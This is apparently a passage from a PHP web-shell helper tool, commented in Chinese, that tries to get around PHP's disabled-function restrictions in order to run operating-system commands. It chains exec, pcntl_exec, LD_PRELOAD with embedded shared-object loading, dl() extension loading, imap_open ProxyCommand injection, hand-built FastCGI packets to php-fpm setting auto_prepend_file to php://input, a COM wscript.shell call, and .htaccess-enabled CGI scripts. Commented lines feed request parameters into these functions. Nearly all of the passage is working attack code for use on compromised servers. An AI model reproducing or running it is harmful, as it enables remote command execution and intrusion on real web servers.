array("exec", "shell_exec", "system", "passthru", "popen", "proc_open"),
// "load_so" => array("dl"),
// "ld_preload_so" => array("mail", "error_log", "imap_mail", "mb_send_mail"),
// "shellshock" => array("mail"),
// "apache_mod_cgi" => array(),
// "imagick" => array(),
// "pwn" => array(),
//);
echo "Temp Dir:" . WRITE_DIR . "
";
echo "Arch: " . ARCH . "; OS: " . OS . "
";
foreach ($vul_function_arr as $func) {
if (function_exists($func)){
echo "Exist: ".$func."
";
} else {
echo "no exist: ".$func."
";
}
}
function read_file($filename){
if(function_exists('file_get_contents')){
return file_get_contents($filename);
} elseif (function_exists('fopen') && function_exists('fread')){
$handle = fopen($filename, 'r');
$content = '';
while(!feof($handle)){
$content .= fread($handle, 1000);
}
fclose($handle);
return $content;
} else {
echo "no read function";
return;
}
}
function write_file($filename, $content, $model="w"){
if (function_exists('file_put_contents')) {
file_put_contents($filename, $content);
} else {
echo "no write function";
return;
}
}
function random_str($len = 8) {
$s = '';
for ($i = 0; $i < $len; $i++) {
$s .= chr(mt_rand(33, 126));
}
return $s;
}
function is_x64() {
$int = "9223372036854775807";
$int = intval($int);
if ($int == 9223372036854775807) {
return true;
}
elseif ($int == 2147483647) {
return false;
}
else {
return "error";
}
}
function trans_cmd($cmd, $outfile){
if (OS == 'Windows'){
$cmd = $cmd . " > " . $outfile;
}else{
$cmd = $cmd . " > " . $outfile . " 2>&1";
}
return $cmd;
}
function send_cmd_to_file($cmd, $file = 'cmd', $result = 'result') {
$outfile = WRITE_DIR . $result;
$cmdfile = WRITE_DIR . $file;
$cmd = trans_cmd($cmd, $outfile);
write_file($cmdfile, $cmd);
return array(
$cmdfile,
$outfile
);
}
function send_cmd($cmd, $result = 'result') {
$outfile = WRITE_DIR . $result;
$cmd = trans_cmd($cmd, $outfile);
return array(
$cmd,
$outfile
);
}
function recv_result($result = 'result') {
$ret = read_file($result);
@unlink($result);
return $ret;
}
function send_socket($data, $host, $port=9000) {
if ( function_exists('stream_socket_client') ) {
if (strpos($host,'unix://') !== false) {
$client = $host;
} else {
$client = 'tcp://' . $host . ':' . $port;
}
$fp = stream_socket_client($client);
} elseif (function_exists('fsockopen')) {
$fp = fsockopen($host, $port, $errno, $errstr, 30);
} else {
return FAILURE;
}
if ($fp) {
$content = "";
fwrite($fp, $data);
while (!feof($fp)) {
$content .= fgets($fp, 4096);
}
fclose($fp);
return $content;
} else {
return FAILURE;
}
}
/*
* 第一种: 常规绕过, 寻找漏掉的命令执行函数, 适用于winodws + linux
* exec、shell_exec、system、passthru、popen、proc_open
*/
function common_exec_cmd($cmd) {
$res = '';
if (function_exists('exec')) {
@exec($cmd, $res);
$res = join("\n", $res);
} elseif (function_exists('shell_exec')) {
$res = @shell_exec($cmd);
} elseif (function_exists('system')) {
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($f = @popen($cmd, "r"))) {
$res = '';
while (!@feof($f)) {$res .= @fread($f, 1024);}
@pclose($f);
} elseif (function_exists('proc_open')) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
if (is_resource($process)) {
fwrite($pipes[0], '$stdin');
fclose($pipes[0]);
$res = stream_get_contents($pipes[1]);
}else{
return FAILURE;
}
} else {
return FAILURE;
}
return $res;
}
/*
* 第二种: pcntl_exec绕过
*/
function pcntl_exec_cmd($cmd) {
if (function_exists('pcntl_exec')) {
$cmd_arr = send_cmd_to_file($cmd, 'cmd.sh');
pcntl_exec("/bin/bash", array($cmd_arr[0]));
return recv_result($cmd_arr[1]);
} else {
return FAILURE;
}
}
//echo pcntl_exec_cmd("id");
/*
* 第三种: ld_preload绕过: 仅限Linux
* mail、imap_mail、error_log、mb_send_mail
* From: https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/
*/
function ld_preload_exec_cmd($cmd) {
$so_file = WRITE_DIR . 'system.so';
if (ARCH === 64) {
write_file($so_file, hex2bin($GLOBALS['system_so_x64']));
} else {
write_file($so_file, hex2bin($GLOBALS['system_so_x32']));
}
$cmd_arr = send_cmd($cmd, 'result');
putenv("EVIL_CMDLINE=" . $cmd_arr[0]);
putenv("LD_PRELOAD=" . $so_file);
if (function_exists('error_log')){
error_log("", 1, "example@example.com");
} elseif (function_exists('mail')){
mail("", "", "", "");
} elseif (function_exists('mb_send_mail')){
mb_send_mail("","","");
} elseif ((function_exists('imap_mail'))){
imap_mail("","","");
} else {
@unlink($so_file);
return FAILURE;
}
// del so file
@unlink($so_file);
return recv_result($cmd_arr[1]);
}
//echo ld_preload_exec_cmd($_GET['cmd']);
//$so_file = WRITE_DIR . 'system_x32.so';
//var_dump(bin2hex(read_file($so_file)));
/*
* 第四种: ld加载php扩展:
* ld
* https://github.com/Medicean/as_bypass_php_disable_functions
* https://github.com/AntSwordProject/ant_php_extension
*/
function dl_exec($cmd){
if(function_exists('dl')){
$so_file = WRITE_DIR . 'php.so';
if (ARCH === 64) {
write_file($so_file, hex2bin($GLOBALS['php_so_x64']));
} else {
write_file($so_file, hex2bin($GLOBALS['php_so_x32']));
}
$so_file = "ant_x64.so";
dl($so_file);
$result = antsystem($cmd);
// del so file
@unlink($so_file);
return $result;
}else{
return FAILURE;
}
}
//echo dl_exec("id");
/*
* 第五种: imap_open: 仅限Linux
*/
function imap_open_exec($cmd){
if (function_exists('imap_open')) {
$cmd_arr = send_cmd($cmd);
$server = "x -oProxyCommand=echo\t" . base64_encode($cmd_arr[0]) . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
return recv_result($cmd_arr[1]);
}else{
return FAILURE;
}
}
//echo imap_open_exec("id");
/*
* exim
*/
//function exim_exec($cmd){
// if (function_exists('mail')) {
// $cmd_arr = send_cmd_to_file($cmd);
// $payload = "-be \${run{/bin/bash\${substr{10}{1}{\$tod_log}}".$cmd_arr[0]."}{ok}{error}}";
// mail("a@localhost", "", "", "", $payload);
// return recv_result($cmd_arr[1]);
// }else{
// return FAILURE;
// }
//}
/*
* Imagick类, 选择更加通用的绕过方式吧
*/
//function imagick_exec($cmd){
// if(class_exists('Imagick')){
// $imagick_file = WRITE_DIR . 'img';
//
// $cmd_arr = send_cmd($cmd);
//
// $exploit = <<readImage("$imagick_file");
// $thumb->writeImage(WRITE_DIR . 'tmp');
// $thumb->clear();
// $thumb->destroy();
//
// return recv_result($cmd_arr[1]);
// }else{
// return 'nonono';
// }
//}
/*
* FastCgi:
* 9000 port
* phpx.x-fpm.sock
*
* Fail: windows
*/
function p($ptr){
return bin2hex(chr($ptr));
}
function pnv($len){
if($len < 128){
return p($len);
}else{
return p(($len >> 24) |0x80) . p(($len >> 16) & 0xFF) . p(($len >> 8) & 0xFF) . p($len & 0xFF);
}
}
// 还需要更改具体的fastcgi参数, 目前能在linux下使用
//$host = 'unix:///run/php/php7.3-fpm.sock';
function fastcgi_exec($cmd, $file, $host, $port=9000){
if (strlen($cmd) > 40) {
echo "Bug: command len need < 40, will be fix.";
}
$cmd = base64_encode($cmd);
$php_code = '';
$php_code_len = strlen($php_code);
$php_code_pad = p(($php_code_len >> 8) & 0xFF) . p($php_code_len & 0xFF) . p(0) . p(0);
//$uri = bin2hex(__FILE__);
//$uri = '/var/www/html/shell.php';
$uri = $file;
$uri_val_pad = pnv(strlen($uri));
$params = '0e02434f4e54454e545f4c454e475448'.bin2hex($php_code_len).'0c10434f4e54454e545f545950456170706c69636174696f6e2f746578740b0452454d4f54455f504f5254393938350b095345525645525f4e414d456c6f63616c686f7374110b474154455741595f494e54455246414345466173744347492f312e300f0e5345525645525f534f4654574152457068702f66636769636c69656e740b0952454d4f54455f414444523132372e302e302e310f'.$uri_val_pad.'5343524950545f46494c454e414d45'.bin2hex($uri).'0b'.$uri_val_pad.'5343524950545f4e414d45'.bin2hex($uri).'091f5048505f56414c55456175746f5f70726570656e645f66696c65203d207068703a2f2f696e7075740e04524551554553545f4d4554484f44504f53540b025345525645525f504f525438300f085345525645525f50524f544f434f4c485454502f312e310c0051554552595f535452494e470f165048505f41444d494e5f56414c5545616c6c6f775f75726c5f696e636c756465203d204f6e0d01444f43554d454e545f524f4f542f0b095345525645525f414444523132372e302e302e310b'.$uri_val_pad.'524551554553545f555249'.bin2hex($uri);
$params_len = strlen(hex2bin($params));
$params_pad = p(($params_len >> 8) & 0xFF) . p($params_len & 0xFF) . p(0) . p(0);
$fastcgi_data = '01017b0700080000000100000000000001047b07'.$params_pad.$params.'01047b070000000001057b07'.$php_code_pad.bin2hex($php_code).'01057b0700000000';
$result = send_socket(hex2bin($fastcgi_data), $host, $port);
// if($result != FAILURE){
// $start = md5("s");;
// $end = md5("e");;
// $input = $result;
// $result = substr($input, strlen($start)+strpos($input, $start),(strlen($input) - strpos($input, $end))*(-1));
// }
return $result;
}
//var_dump(fastcgi_exec("id",'/var/www/html/shell.php' , '127.0.0.1', 9002));
//echo fastcgi_exec("id",'/var/www/html/ant.php' , 'unix:///run/php/php7.3-fpm.sock');
//var_dump(fastcgi_exec("whoami",'C:\\phpstudy2018\\PHPTutorial\\WWW\test\\apache\\1.php' , '127.0.0.1', 9000));
/*
* COM执行: 仅限windows
* work on:
* php 5.4.45
*
* *******
* fail:
* > php 5.5.38
*
*/
function com_exec($cmd){
$cmd = "cmd.exe /c ".$cmd;
$cmd_arr = send_cmd($cmd);
echo "执行时候会黑框, 需要时间; 如果有延时命令执行的时候特别需要注意一下。";
$wscript = new COM('wscript.shell');
$wscript->Run($cmd_arr[0]);
sleep(1);
return recv_result($cmd_arr[1]);
}
//echo com_exec($_GET['cmd']);
/*
* Apache mod-cgi: Windows && Linux
* 需要保证一个web目录可写可访问
*
* 注意备份htaccess
*/
function apache_cgi_exec($cmd, $dir='.'){
echo "由于是系统调用cmd执行后命令，会有一些延迟。请新建目录执行, 以免htaccess出问题导致本身shell不可访问。";
// check
// if(!in_array('mod_cgi', apache_get_modules()) && !empty($_SERVER['HTACCESS']) && is_writable($dir)){
// return FAILURE;
// }
$cmd_arr = send_cmd($cmd);
if(OS == "Windows") {
$shell_file = "bye.bat";
$htaccess = "ScriptInterpreterSource Registry-Strict\nAddHandler cgi-script .bat\nOptions +ExecCGI +FollowSymlinks";
$cmd_arr[0] = escapeshellcmd($cmd_arr[0]);
$content = "@echo off\necho Content-Type: text/html\nfor /F %%i in ('$cmd_arr[0]') do ( set result=%%i)";
} else {
$shell_file = "1.bylinux";
$htaccess = "Options +ExecCGI\nAddHandler cgi-script .bylinux";
$content = "#!/bin/bash\necho \"Content-Type: text/html\\n\\n\"\n" . $cmd_arr[0];
}
write_file('.htaccess', $htaccess);
write_file($shell_file, $content);
echo "
";
sleep(1);
echo recv_result($cmd_arr[1]);
}
//echo apache_cgi_exec($_GET['cmd']);
echo <<
$disable_function_str
Vulable Function:
$vul_function_str
Open Basedir:
$open_basedir
EOF;
//echo $_POST["cmd"];
?>